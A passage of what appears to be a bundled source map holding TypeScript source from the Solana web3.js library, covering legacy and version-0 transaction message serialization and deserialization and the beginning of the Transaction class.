numSignedAccounts;\n const numWritableUnsignedAccounts =\n numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts;\n return unsignedAccountIndex < numWritableUnsignedAccounts;\n } else {\n const numWritableSignedAccounts =\n numSignedAccounts - this.header.numReadonlySignedAccounts;\n return index < numWritableSignedAccounts;\n }\n }\n\n isProgramId(index: number): boolean {\n return this.indexToProgramIds.has(index);\n }\n\n programIds(): PublicKey[] {\n return [...this.indexToProgramIds.values()];\n }\n\n nonProgramIds(): PublicKey[] {\n return this.accountKeys.filter((_, index) => !this.isProgramId(index));\n }\n\n serialize(): Buffer {\n const numKeys = this.accountKeys.length;\n\n let keyCount: number[] = [];\n shortvec.encodeLength(keyCount, numKeys);\n\n const instructions = this.instructions.map(instruction => {\n const {accounts, programIdIndex} = instruction;\n const data = Array.from(bs58.decode(instruction.data));\n\n let keyIndicesCount: number[] = [];\n shortvec.encodeLength(keyIndicesCount, accounts.length);\n\n let dataCount: number[] = [];\n shortvec.encodeLength(dataCount, data.length);\n\n return {\n programIdIndex,\n keyIndicesCount: Buffer.from(keyIndicesCount),\n keyIndices: accounts,\n dataLength: Buffer.from(dataCount),\n data,\n };\n });\n\n let instructionCount: number[] = [];\n shortvec.encodeLength(instructionCount, instructions.length);\n let instructionBuffer = Buffer.alloc(PACKET_DATA_SIZE);\n Buffer.from(instructionCount).copy(instructionBuffer);\n let instructionBufferLength = instructionCount.length;\n\n instructions.forEach(instruction => {\n const instructionLayout = BufferLayout.struct<\n Readonly<{\n data: number[];\n dataLength: Uint8Array;\n keyIndices: number[];\n keyIndicesCount: Uint8Array;\n programIdIndex: number;\n }>\n >([\n BufferLayout.u8('programIdIndex'),\n\n BufferLayout.blob(\n instruction.keyIndicesCount.length,\n 'keyIndicesCount',\n ),\n BufferLayout.seq(\n BufferLayout.u8('keyIndex'),\n instruction.keyIndices.length,\n 'keyIndices',\n ),\n BufferLayout.blob(instruction.dataLength.length, 'dataLength'),\n BufferLayout.seq(\n BufferLayout.u8('userdatum'),\n instruction.data.length,\n 'data',\n ),\n ]);\n const length = instructionLayout.encode(\n instruction,\n instructionBuffer,\n instructionBufferLength,\n );\n instructionBufferLength += length;\n });\n instructionBuffer = instructionBuffer.slice(0, instructionBufferLength);\n\n const signDataLayout = BufferLayout.struct<\n Readonly<{\n keyCount: Uint8Array;\n keys: Uint8Array[];\n numReadonlySignedAccounts: Uint8Array;\n numReadonlyUnsignedAccounts: Uint8Array;\n numRequiredSignatures: Uint8Array;\n recentBlockhash: Uint8Array;\n }>\n >([\n BufferLayout.blob(1, 'numRequiredSignatures'),\n BufferLayout.blob(1, 'numReadonlySignedAccounts'),\n BufferLayout.blob(1, 'numReadonlyUnsignedAccounts'),\n BufferLayout.blob(keyCount.length, 'keyCount'),\n BufferLayout.seq(Layout.publicKey('key'), numKeys, 'keys'),\n Layout.publicKey('recentBlockhash'),\n ]);\n\n const transaction = {\n numRequiredSignatures: Buffer.from([this.header.numRequiredSignatures]),\n numReadonlySignedAccounts: Buffer.from([\n this.header.numReadonlySignedAccounts,\n ]),\n numReadonlyUnsignedAccounts: Buffer.from([\n this.header.numReadonlyUnsignedAccounts,\n ]),\n keyCount: Buffer.from(keyCount),\n keys: this.accountKeys.map(key => toBuffer(key.toBytes())),\n recentBlockhash: bs58.decode(this.recentBlockhash),\n };\n\n let signData = Buffer.alloc(2048);\n const length = signDataLayout.encode(transaction, signData);\n instructionBuffer.copy(signData, length);\n return signData.slice(0, length + instructionBuffer.length);\n }\n\n /**\n * Decode a compiled message into a Message object.\n */\n static from(buffer: Buffer | Uint8Array | Array<number>): Message {\n // Slice up wire data\n let byteArray = [...buffer];\n\n const numRequiredSignatures = guardedShift(byteArray);\n if (\n numRequiredSignatures !==\n (numRequiredSignatures & VERSION_PREFIX_MASK)\n ) {\n throw new Error(\n 'Versioned messages must be deserialized with VersionedMessage.deserialize()',\n );\n }\n\n const numReadonlySignedAccounts = guardedShift(byteArray);\n const numReadonlyUnsignedAccounts = guardedShift(byteArray);\n\n const accountCount = shortvec.decodeLength(byteArray);\n let accountKeys = [];\n for (let i = 0; i < accountCount; i++) {\n const account = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH);\n accountKeys.push(new PublicKey(Buffer.from(account)));\n }\n\n const recentBlockhash = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH);\n\n const instructionCount = shortvec.decodeLength(byteArray);\n let instructions: CompiledInstruction[] = [];\n for (let i = 0; i < instructionCount; i++) {\n const programIdIndex = guardedShift(byteArray);\n const accountCount = shortvec.decodeLength(byteArray);\n const accounts = guardedSplice(byteArray, 0, accountCount);\n const dataLength = shortvec.decodeLength(byteArray);\n const dataSlice = guardedSplice(byteArray, 0, dataLength);\n const data = bs58.encode(Buffer.from(dataSlice));\n instructions.push({\n programIdIndex,\n accounts,\n data,\n });\n }\n\n const messageArgs = {\n header: {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n },\n recentBlockhash: bs58.encode(Buffer.from(recentBlockhash)),\n accountKeys,\n instructions,\n };\n\n return new Message(messageArgs);\n }\n}\n","import bs58 from 'bs58';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from '../layout';\nimport {Blockhash} from '../blockhash';\nimport {\n MessageHeader,\n MessageAddressTableLookup,\n MessageCompiledInstruction,\n} from './index';\nimport {PublicKey, PUBLIC_KEY_LENGTH} from '../publickey';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport assert from '../utils/assert';\nimport {PACKET_DATA_SIZE, VERSION_PREFIX_MASK} from '../transaction/constants';\nimport {TransactionInstruction} from '../transaction';\nimport {AddressLookupTableAccount} from '../programs';\nimport {CompiledKeys} from './compiled-keys';\nimport {AccountKeysFromLookups, MessageAccountKeys} from './account-keys';\nimport {guardedShift, guardedSplice} from '../utils/guarded-array-utils';\n\n/**\n * Message constructor arguments\n */\nexport type MessageV0Args = {\n /** The message header, identifying signed and read-only `accountKeys` */\n header: MessageHeader;\n /** The static account keys used by this transaction */\n staticAccountKeys: PublicKey[];\n /** The hash of a recent ledger block */\n recentBlockhash: Blockhash;\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n compiledInstructions: MessageCompiledInstruction[];\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n addressTableLookups: MessageAddressTableLookup[];\n};\n\nexport type CompileV0Args = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n addressLookupTableAccounts?: Array<AddressLookupTableAccount>;\n};\n\nexport type GetAccountKeysArgs =\n | {\n accountKeysFromLookups?: AccountKeysFromLookups | null;\n }\n | {\n addressLookupTableAccounts?: AddressLookupTableAccount[] | null;\n };\n\nexport class MessageV0 {\n header: MessageHeader;\n staticAccountKeys: Array<PublicKey>;\n recentBlockhash: Blockhash;\n compiledInstructions: Array<MessageCompiledInstruction>;\n addressTableLookups: Array<MessageAddressTableLookup>;\n\n constructor(args: MessageV0Args) {\n this.header = args.header;\n this.staticAccountKeys = args.staticAccountKeys;\n this.recentBlockhash = args.recentBlockhash;\n this.compiledInstructions = args.compiledInstructions;\n this.addressTableLookups = args.addressTableLookups;\n }\n\n get version(): 0 {\n return 0;\n }\n\n get numAccountKeysFromLookups(): number {\n let count = 0;\n for (const lookup of this.addressTableLookups) {\n count += lookup.readonlyIndexes.length + lookup.writableIndexes.length;\n }\n return count;\n }\n\n getAccountKeys(args?: GetAccountKeysArgs): MessageAccountKeys {\n let accountKeysFromLookups: AccountKeysFromLookups | undefined;\n if (\n args &&\n 'accountKeysFromLookups' in args &&\n args.accountKeysFromLookups\n ) {\n if (\n this.numAccountKeysFromLookups !=\n args.accountKeysFromLookups.writable.length +\n args.accountKeysFromLookups.readonly.length\n ) {\n throw new Error(\n 'Failed to get account keys because of a mismatch in the number of account keys from lookups',\n );\n }\n accountKeysFromLookups = args.accountKeysFromLookups;\n } else if (\n args &&\n 'addressLookupTableAccounts' in args &&\n args.addressLookupTableAccounts\n ) {\n accountKeysFromLookups = this.resolveAddressTableLookups(\n args.addressLookupTableAccounts,\n );\n } else if (this.addressTableLookups.length > 0) {\n throw new Error(\n 'Failed to get account keys because address table lookups were not resolved',\n );\n }\n return new MessageAccountKeys(\n this.staticAccountKeys,\n accountKeysFromLookups,\n );\n }\n\n isAccountSigner(index: number): boolean {\n return index < this.header.numRequiredSignatures;\n }\n\n isAccountWritable(index: number): boolean {\n const numSignedAccounts = this.header.numRequiredSignatures;\n const numStaticAccountKeys = this.staticAccountKeys.length;\n if (index >= numStaticAccountKeys) {\n const lookupAccountKeysIndex = index - numStaticAccountKeys;\n const numWritableLookupAccountKeys = this.addressTableLookups.reduce(\n (count, lookup) => count + lookup.writableIndexes.length,\n 0,\n );\n return lookupAccountKeysIndex < numWritableLookupAccountKeys;\n } else if (index >= this.header.numRequiredSignatures) {\n const unsignedAccountIndex = index - numSignedAccounts;\n const numUnsignedAccounts = numStaticAccountKeys - numSignedAccounts;\n const numWritableUnsignedAccounts =\n numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts;\n return unsignedAccountIndex < numWritableUnsignedAccounts;\n } else {\n const numWritableSignedAccounts =\n numSignedAccounts - this.header.numReadonlySignedAccounts;\n return index < numWritableSignedAccounts;\n }\n }\n\n resolveAddressTableLookups(\n addressLookupTableAccounts: AddressLookupTableAccount[],\n ): AccountKeysFromLookups {\n const accountKeysFromLookups: AccountKeysFromLookups = {\n writable: [],\n readonly: [],\n };\n\n for (const tableLookup of this.addressTableLookups) {\n const tableAccount = addressLookupTableAccounts.find(account =>\n account.key.equals(tableLookup.accountKey),\n );\n if (!tableAccount) {\n throw new Error(\n `Failed to find address lookup table account for table key ${tableLookup.accountKey.toBase58()}`,\n );\n }\n\n for (const index of tableLookup.writableIndexes) {\n if (index < tableAccount.state.addresses.length) {\n accountKeysFromLookups.writable.push(\n tableAccount.state.addresses[index],\n );\n } else {\n throw new Error(\n `Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`,\n );\n }\n }\n\n for (const index of tableLookup.readonlyIndexes) {\n if (index < tableAccount.state.addresses.length) {\n accountKeysFromLookups.readonly.push(\n tableAccount.state.addresses[index],\n );\n } else {\n throw new Error(\n `Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`,\n );\n }\n }\n }\n\n return accountKeysFromLookups;\n }\n\n static compile(args: CompileV0Args): MessageV0 {\n const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey);\n\n const addressTableLookups = new Array<MessageAddressTableLookup>();\n const accountKeysFromLookups: AccountKeysFromLookups = {\n writable: new Array(),\n readonly: new Array(),\n };\n const lookupTableAccounts = args.addressLookupTableAccounts || [];\n for (const lookupTable of lookupTableAccounts) {\n const extractResult = compiledKeys.extractTableLookup(lookupTable);\n if (extractResult !== undefined) {\n const [addressTableLookup, {writable, readonly}] = extractResult;\n addressTableLookups.push(addressTableLookup);\n accountKeysFromLookups.writable.push(...writable);\n accountKeysFromLookups.readonly.push(...readonly);\n }\n }\n\n const [header, staticAccountKeys] = compiledKeys.getMessageComponents();\n const accountKeys = new MessageAccountKeys(\n staticAccountKeys,\n accountKeysFromLookups,\n );\n const compiledInstructions = accountKeys.compileInstructions(\n args.instructions,\n );\n return new MessageV0({\n header,\n staticAccountKeys,\n recentBlockhash: args.recentBlockhash,\n compiledInstructions,\n addressTableLookups,\n });\n }\n\n serialize(): Uint8Array {\n const encodedStaticAccountKeysLength = Array<number>();\n shortvec.encodeLength(\n encodedStaticAccountKeysLength,\n this.staticAccountKeys.length,\n );\n\n const serializedInstructions = this.serializeInstructions();\n const encodedInstructionsLength = Array<number>();\n shortvec.encodeLength(\n encodedInstructionsLength,\n this.compiledInstructions.length,\n );\n\n const serializedAddressTableLookups = this.serializeAddressTableLookups();\n const encodedAddressTableLookupsLength = Array<number>();\n shortvec.encodeLength(\n encodedAddressTableLookupsLength,\n this.addressTableLookups.length,\n );\n\n const messageLayout = BufferLayout.struct<{\n prefix: number;\n header: MessageHeader;\n staticAccountKeysLength: Uint8Array;\n staticAccountKeys: Array<Uint8Array>;\n recentBlockhash: Uint8Array;\n instructionsLength: Uint8Array;\n serializedInstructions: Uint8Array;\n addressTableLookupsLength: Uint8Array;\n serializedAddressTableLookups: Uint8Array;\n }>([\n BufferLayout.u8('prefix'),\n BufferLayout.struct<MessageHeader>(\n [\n BufferLayout.u8('numRequiredSignatures'),\n BufferLayout.u8('numReadonlySignedAccounts'),\n BufferLayout.u8('numReadonlyUnsignedAccounts'),\n ],\n 'header',\n ),\n BufferLayout.blob(\n encodedStaticAccountKeysLength.length,\n 'staticAccountKeysLength',\n ),\n BufferLayout.seq(\n Layout.publicKey(),\n this.staticAccountKeys.length,\n 'staticAccountKeys',\n ),\n Layout.publicKey('recentBlockhash'),\n BufferLayout.blob(encodedInstructionsLength.length, 'instructionsLength'),\n BufferLayout.blob(\n serializedInstructions.length,\n 'serializedInstructions',\n ),\n BufferLayout.blob(\n encodedAddressTableLookupsLength.length,\n 'addressTableLookupsLength',\n ),\n BufferLayout.blob(\n serializedAddressTableLookups.length,\n 'serializedAddressTableLookups',\n ),\n ]);\n\n const serializedMessage = new Uint8Array(PACKET_DATA_SIZE);\n const MESSAGE_VERSION_0_PREFIX = 1 << 7;\n const serializedMessageLength = messageLayout.encode(\n {\n prefix: MESSAGE_VERSION_0_PREFIX,\n header: this.header,\n staticAccountKeysLength: new Uint8Array(encodedStaticAccountKeysLength),\n staticAccountKeys: this.staticAccountKeys.map(key => key.toBytes()),\n recentBlockhash: bs58.decode(this.recentBlockhash),\n instructionsLength: new Uint8Array(encodedInstructionsLength),\n serializedInstructions,\n addressTableLookupsLength: new Uint8Array(\n encodedAddressTableLookupsLength,\n ),\n serializedAddressTableLookups,\n },\n serializedMessage,\n );\n return serializedMessage.slice(0, serializedMessageLength);\n }\n\n private serializeInstructions(): Uint8Array {\n let serializedLength = 0;\n const serializedInstructions = new Uint8Array(PACKET_DATA_SIZE);\n for (const instruction of this.compiledInstructions) {\n const encodedAccountKeyIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedAccountKeyIndexesLength,\n instruction.accountKeyIndexes.length,\n );\n\n const encodedDataLength = Array<number>();\n shortvec.encodeLength(encodedDataLength, instruction.data.length);\n\n const instructionLayout = BufferLayout.struct<{\n programIdIndex: number;\n encodedAccountKeyIndexesLength: Uint8Array;\n accountKeyIndexes: number[];\n encodedDataLength: Uint8Array;\n data: Uint8Array;\n }>([\n BufferLayout.u8('programIdIndex'),\n BufferLayout.blob(\n encodedAccountKeyIndexesLength.length,\n 'encodedAccountKeyIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n instruction.accountKeyIndexes.length,\n 'accountKeyIndexes',\n ),\n BufferLayout.blob(encodedDataLength.length, 'encodedDataLength'),\n BufferLayout.blob(instruction.data.length, 'data'),\n ]);\n\n serializedLength += instructionLayout.encode(\n {\n programIdIndex: instruction.programIdIndex,\n encodedAccountKeyIndexesLength: new Uint8Array(\n encodedAccountKeyIndexesLength,\n ),\n accountKeyIndexes: instruction.accountKeyIndexes,\n encodedDataLength: new Uint8Array(encodedDataLength),\n data: instruction.data,\n },\n serializedInstructions,\n serializedLength,\n );\n }\n\n return serializedInstructions.slice(0, serializedLength);\n }\n\n private serializeAddressTableLookups(): Uint8Array {\n let serializedLength = 0;\n const serializedAddressTableLookups = new Uint8Array(PACKET_DATA_SIZE);\n for (const lookup of this.addressTableLookups) {\n const encodedWritableIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedWritableIndexesLength,\n lookup.writableIndexes.length,\n );\n\n const encodedReadonlyIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedReadonlyIndexesLength,\n lookup.readonlyIndexes.length,\n );\n\n const addressTableLookupLayout = BufferLayout.struct<{\n accountKey: Uint8Array;\n encodedWritableIndexesLength: Uint8Array;\n writableIndexes: number[];\n encodedReadonlyIndexesLength: Uint8Array;\n readonlyIndexes: number[];\n }>([\n Layout.publicKey('accountKey'),\n BufferLayout.blob(\n encodedWritableIndexesLength.length,\n 'encodedWritableIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n lookup.writableIndexes.length,\n 'writableIndexes',\n ),\n BufferLayout.blob(\n encodedReadonlyIndexesLength.length,\n 'encodedReadonlyIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n lookup.readonlyIndexes.length,\n 'readonlyIndexes',\n ),\n ]);\n\n serializedLength += addressTableLookupLayout.encode(\n {\n accountKey: lookup.accountKey.toBytes(),\n encodedWritableIndexesLength: new Uint8Array(\n encodedWritableIndexesLength,\n ),\n writableIndexes: lookup.writableIndexes,\n encodedReadonlyIndexesLength: new Uint8Array(\n encodedReadonlyIndexesLength,\n ),\n readonlyIndexes: lookup.readonlyIndexes,\n },\n serializedAddressTableLookups,\n serializedLength,\n );\n }\n\n return serializedAddressTableLookups.slice(0, serializedLength);\n }\n\n static deserialize(serializedMessage: Uint8Array): MessageV0 {\n let byteArray = [...serializedMessage];\n\n const prefix = guardedShift(byteArray);\n const maskedPrefix = prefix & VERSION_PREFIX_MASK;\n assert(\n prefix !== maskedPrefix,\n `Expected versioned message but received legacy message`,\n );\n\n const version = maskedPrefix;\n assert(\n version === 0,\n `Expected versioned message with version 0 but found version ${version}`,\n );\n\n const header: MessageHeader = {\n numRequiredSignatures: guardedShift(byteArray),\n numReadonlySignedAccounts: guardedShift(byteArray),\n numReadonlyUnsignedAccounts: guardedShift(byteArray),\n };\n\n const staticAccountKeys = [];\n const staticAccountKeysLength = shortvec.decodeLength(byteArray);\n for (let i = 0; i < staticAccountKeysLength; i++) {\n staticAccountKeys.push(\n new PublicKey(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH)),\n );\n }\n\n const recentBlockhash = bs58.encode(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n\n const instructionCount = shortvec.decodeLength(byteArray);\n const compiledInstructions: MessageCompiledInstruction[] = [];\n for (let i = 0; i < instructionCount; i++) {\n const programIdIndex = guardedShift(byteArray);\n const accountKeyIndexesLength = shortvec.decodeLength(byteArray);\n const accountKeyIndexes = guardedSplice(\n byteArray,\n 0,\n accountKeyIndexesLength,\n );\n const dataLength = shortvec.decodeLength(byteArray);\n const data = new Uint8Array(guardedSplice(byteArray, 0, dataLength));\n compiledInstructions.push({\n programIdIndex,\n accountKeyIndexes,\n data,\n });\n }\n\n const addressTableLookupsCount = shortvec.decodeLength(byteArray);\n const addressTableLookups: MessageAddressTableLookup[] = [];\n for (let i = 0; i < addressTableLookupsCount; i++) {\n const accountKey = new PublicKey(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n const writableIndexesLength = shortvec.decodeLength(byteArray);\n const writableIndexes = guardedSplice(\n byteArray,\n 0,\n writableIndexesLength,\n );\n const readonlyIndexesLength = shortvec.decodeLength(byteArray);\n const readonlyIndexes = guardedSplice(\n byteArray,\n 0,\n readonlyIndexesLength,\n );\n addressTableLookups.push({\n accountKey,\n writableIndexes,\n readonlyIndexes,\n });\n }\n\n return new MessageV0({\n header,\n staticAccountKeys,\n recentBlockhash,\n compiledInstructions,\n addressTableLookups,\n });\n }\n}\n","import {VERSION_PREFIX_MASK} from '../transaction/constants';\nimport {Message} from './legacy';\nimport {MessageV0} from './v0';\n\nexport type VersionedMessage = Message | MessageV0;\n// eslint-disable-next-line no-redeclare\nexport const VersionedMessage = {\n deserializeMessageVersion(serializedMessage: Uint8Array): 'legacy' | number {\n const prefix = serializedMessage[0];\n const maskedPrefix = prefix & VERSION_PREFIX_MASK;\n\n // if the highest bit of the prefix is not set, the message is not versioned\n if (maskedPrefix === prefix) {\n return 'legacy';\n }\n\n // the lower 7 bits of the prefix indicate the message version\n return maskedPrefix;\n },\n\n deserialize: (serializedMessage: Uint8Array): VersionedMessage => {\n const version =\n VersionedMessage.deserializeMessageVersion(serializedMessage);\n if (version === 'legacy') {\n return Message.from(serializedMessage);\n }\n\n if (version === 0) {\n return MessageV0.deserialize(serializedMessage);\n } else {\n throw new Error(\n `Transaction message version ${version} deserialization is not supported`,\n );\n }\n },\n};\n","import bs58 from 'bs58';\nimport {Buffer} from 'buffer';\n\nimport {PACKET_DATA_SIZE, SIGNATURE_LENGTH_IN_BYTES} from './constants';\nimport {Connection} from '../connection';\nimport {Message} from '../message';\nimport {PublicKey} from '../publickey';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport {toBuffer} from '../utils/to-buffer';\nimport invariant from '../utils/assert';\nimport type {Signer} from '../keypair';\nimport type {Blockhash} from '../blockhash';\nimport type {CompiledInstruction} from '../message';\nimport {sign, verify} from '../utils/ed25519';\nimport {guardedSplice} from '../utils/guarded-array-utils';\n\n/** @internal */\ntype MessageSignednessErrors = {\n invalid?: PublicKey[];\n missing?: PublicKey[];\n};\n\n/**\n * Transaction signature as base-58 encoded string\n */\nexport type TransactionSignature = string;\n\nexport const enum TransactionStatus {\n BLOCKHEIGHT_EXCEEDED,\n PROCESSED,\n TIMED_OUT,\n NONCE_INVALID,\n}\n\n/**\n * Default (empty) signature\n */\nconst DEFAULT_SIGNATURE = Buffer.alloc(SIGNATURE_LENGTH_IN_BYTES).fill(0);\n\n/**\n * Account metadata used to define instructions\n */\nexport type AccountMeta = {\n /** An account's public key */\n pubkey: PublicKey;\n /** True if an instruction requires a transaction signature matching `pubkey` */\n isSigner: boolean;\n /** True if the `pubkey` can be loaded as a read-write account. */\n isWritable: boolean;\n};\n\n/**\n * List of TransactionInstruction object fields that may be initialized at construction\n */\nexport type TransactionInstructionCtorFields = {\n keys: Array<AccountMeta>;\n programId: PublicKey;\n data?: Buffer;\n};\n\n/**\n * Configuration object for Transaction.serialize()\n */\nexport type SerializeConfig = {\n /** Require all transaction signatures be present (default: true) */\n requireAllSignatures?: boolean;\n /** Verify provided signatures (default: true) */\n verifySignatures?: boolean;\n};\n\n/**\n * @internal\n */\nexport interface TransactionInstructionJSON {\n keys: {\n pubkey: string;\n isSigner: boolean;\n isWritable: boolean;\n }[];\n programId: string;\n data: number[];\n}\n\n/**\n * Transaction Instruction class\n */\nexport class TransactionInstruction {\n /**\n * Public keys to include in this transaction\n * Boolean represents whether this pubkey needs to sign the transaction\n */\n keys: Array<AccountMeta>;\n\n /**\n * Program Id to execute\n */\n programId: PublicKey;\n\n /**\n * Program input\n */\n data: Buffer = Buffer.alloc(0);\n\n constructor(opts: TransactionInstructionCtorFields) {\n this.programId = opts.programId;\n this.keys = opts.keys;\n if (opts.data) {\n this.data = opts.data;\n }\n }\n\n /**\n * @internal\n */\n toJSON(): TransactionInstructionJSON {\n return {\n keys: this.keys.map(({pubkey, isSigner, isWritable}) => ({\n pubkey: pubkey.toJSON(),\n isSigner,\n isWritable,\n })),\n programId: this.programId.toJSON(),\n data: [...this.data],\n };\n }\n}\n\n/**\n * Pair of signature and corresponding public key\n */\nexport type SignaturePubkeyPair = {\n signature: Buffer | null;\n publicKey: PublicKey;\n};\n\n/**\n * List of Transaction object fields that may be initialized at construction\n */\nexport type TransactionCtorFields_DEPRECATED = {\n /** Optional nonce information used for offline nonce'd transactions */\n nonceInfo?: NonceInformation | null;\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n /** A recent blockhash */\n recentBlockhash?: Blockhash;\n};\n\n// For backward compatibility; an unfortunate consequence of being\n// forced to over-export types by the documentation generator.\n// See https://github.com/solana-labs/solana/pull/25820\nexport type TransactionCtorFields = TransactionCtorFields_DEPRECATED;\n\n/**\n * Blockhash-based transactions have a lifetime that are defined by\n * the blockhash they include. Any transaction whose blockhash is\n * too old will be rejected.\n */\nexport type TransactionBlockhashCtor = {\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n /** A recent blockhash */\n blockhash: Blockhash;\n /** the last block chain can advance to before tx is declared expired */\n lastValidBlockHeight: number;\n};\n\n/**\n * Use these options to construct a durable nonce transaction.\n */\nexport type TransactionNonceCtor = {\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n minContextSlot: number;\n nonceInfo: NonceInformation;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n};\n\n/**\n * Nonce information to be used to build an offline Transaction.\n */\nexport type NonceInformation = {\n /** The current blockhash stored in the nonce */\n nonce: Blockhash;\n /** AdvanceNonceAccount Instruction */\n nonceInstruction: TransactionInstruction;\n};\n\n/**\n * @internal\n */\nexport interface TransactionJSON {\n recentBlockhash: string | null;\n feePayer: string | null;\n nonceInfo: {\n nonce: string;\n nonceInstruction: TransactionInstructionJSON;\n } | null;\n instructions: TransactionInstructionJSON[];\n signers: string[];\n}\n\n/**\n * Transaction class\n */\nexport class Transaction {\n /**\n * Signatures for the transaction. Typically created by invoking the\n * `sign()` method\n */\n signatures: Array<SignaturePubkeyPair> = [];\n\n /**\n * The first (payer) Transaction signature\n *\n * @returns {Buffer | null} Buffer of payer's signature\n */\n get signature(): Buffer | null {\n if (this.signatures.length > 0) {\n return this.signatures[0].signature;\n }\n return null;\n }\n\n /**\n * The transaction fee payer\n */\n feePayer?: PublicKey;\n\n /**\n * The instructions to atomically execute\n */\n instructions: Array<TransactionInstruction> = [];\n\n /**\n * A recent transaction id. Must be populated by the caller\n */\n recentBlockhash?: Blockhash;\n\n /**\n * the last block chain can advance to before tx is declared expired\n * */\n lastValidBlockHeight?: number;\n\n /**\n * Optional Nonce information. If populated, transaction will use a durable\n * Nonce hash instead of a recentBlockhash. Must be populated by the caller\n */\n nonceInfo?: NonceInformation;\n\n /**\n * If this is a nonce transaction this represents the minimum slot from which\n * to evaluate if the nonce has advanced when attempting to confirm the\n * transaction. This protects against a case where the transaction confirmation\n * logic loads the nonce account from an old slot and assumes the mismatch in\n * nonce value implies that the nonce has been advanced.\n */\n minNonceContextSlot?: number;\n\n /**\n * @internal\n */\n _message?: Message;\n\n /**\n * @internal\n */\n _json?: TransactionJSON;\n\n // Construct a transaction with a blockhash and lastValidBlockHeight\n constructor(opts?: TransactionBlockhashCtor);\n\n // Construct a transaction using a durable nonce\n constructor(opts?: TransactionNonceCtor);\n\n /**\n * @deprecated `TransactionCtorFields` has been deprecated and will be removed in a future version.\n * Please supply a `TransactionBlockhashCtor` instead.\n */\n constructor(opts?: TransactionCtorFields_DEPRECATED);\n\n /**\n * Construct an empty Transaction\n */\n constructor(\n opts?:\n | TransactionBlockhashCtor\n | TransactionNonceCtor\n | TransactionCtorFields_DEPRECATED,\n ) {\n if (!opts) {\n return;\n }\n if (opts.feePayer) {\n this.feePayer = opts.feePayer;\n }\n if (opts.signatures) {\n this.signatures = opts.signatures;\n }\n if (Object.prototype.hasOwnProperty.call(opts, 'nonceInfo')) {\n const {minContextSlot, nonceInfo} = opts as TransactionNonceCtor;\n this.minNonceContextSlot = minContextSlot;\n this.nonceInfo = nonceInfo;\n } else if (\n Object.prototype.hasOwnProperty.call(opts, 'lastValidBlockHeight')\n ) {\n const {blockhash, lastValidBlockHeight} =\n opts as TransactionBlockhashCtor;\n this.recentBlockhash = blockhash;\n this.lastValidBlockHeight = lastValidBlockHeight;\n } else {\n const {recentBlockhash, nonceInfo} =\n opts as TransactionCtorFields_DEPRECATED;\n if (nonceInfo) {\n this.nonceInfo = nonceInfo;\n }\n this.recentBlockhash = recentBlockhash;\n }\n }\n\n /**\n * @internal\n */\n toJSON(): TransactionJSON {\n return {\n recentBlockhash: this.recentBlockhash || null,\n feePayer: this.feePayer ? this.feePayer.toJSON() : null,\n nonceInfo: this.nonceInfo\n ? {\n nonce: this.nonceInfo.nonce,\n nonceInstruction: this.nonceInfo.nonceInstruction.toJSON(),\n }\n : null,\n instructions: this.instructions.map(instruction => instruction.toJSON()),\n signers: this.signatures.map(({publicKey}) => {\n return publicKey.toJSON();\n }),\n };\n }\n\n /**\n * Add one or more instructions to this Transaction\n *\n * @param {Array< Transaction | TransactionInstruction | TransactionInstructionCtorFields >} items - Instructions to add to the Transaction\n */\n add(\n ...items: Array<\n Transaction | TransactionInstruction | TransactionInstructionCtorFields\n >\n ): Transaction {\n if (items.length === 0) {\n throw new Error('No instructions');\n }\n\n items.forEach((item: any) => {\n if ('instructions' in item) {\n this.instructions = this.instructions.concat(item.instructions);\n } else if ('data' in item && 'programId' in item && 'keys' in item) {\n this.instructions.push(item);\n } else {\n this.instructions.push(new TransactionInstruction(item));\n }\n });\n return this;\n }\n\n /**\n * Compile transaction data\n */\n compileMessage(): Message {\n if (\n this._message &&\n JSON.stringify(this.toJSON()) === JSON.stringify(this._json)\n ) {\n return this._message;\n }\n\n let recentBlockhash;\n let instructions: TransactionInstruction[];\n if (this.nonceInfo) {\n recentBlockhash = this.nonceInfo.nonce;\n if (this.instructions[0] != this.nonceInfo.nonceInstruction) {\n instructions = [this.nonceInfo.nonceInstruction, ...this.instructions];\n } else {\n instructions = this.instructions;\n }\n } else {\n recentBlockhash = this.recentBlockhash;\n instructions = this.instructions;\n }\n if (!recentBlockhash) {\n throw new Error('Transaction recentBlockhash required');\n }\n\n if (instructions.length < 1) {\n console.warn('No instructions provided');\n }\n\n let feePayer: PublicKey;\n if (this.feePayer) {\n feePayer = this.feePayer;\n } else if (this.signatures.length > 0 && this.signatures[0].publicKey) {\n // Use implicit fee payer\n feePayer = this.signatures[0].publicKey;\n } else {\n throw new Error('Transaction fee payer required');\n }\n\n for (let i = 0; i < instructions.length; i++) {\n if (instructions[i].programId === undefined) {\n throw new Error(\n `Transaction instruction index ${i} has undefined program id`,\n );\n }\n }\n\n const programIds: string[] = [];\n const 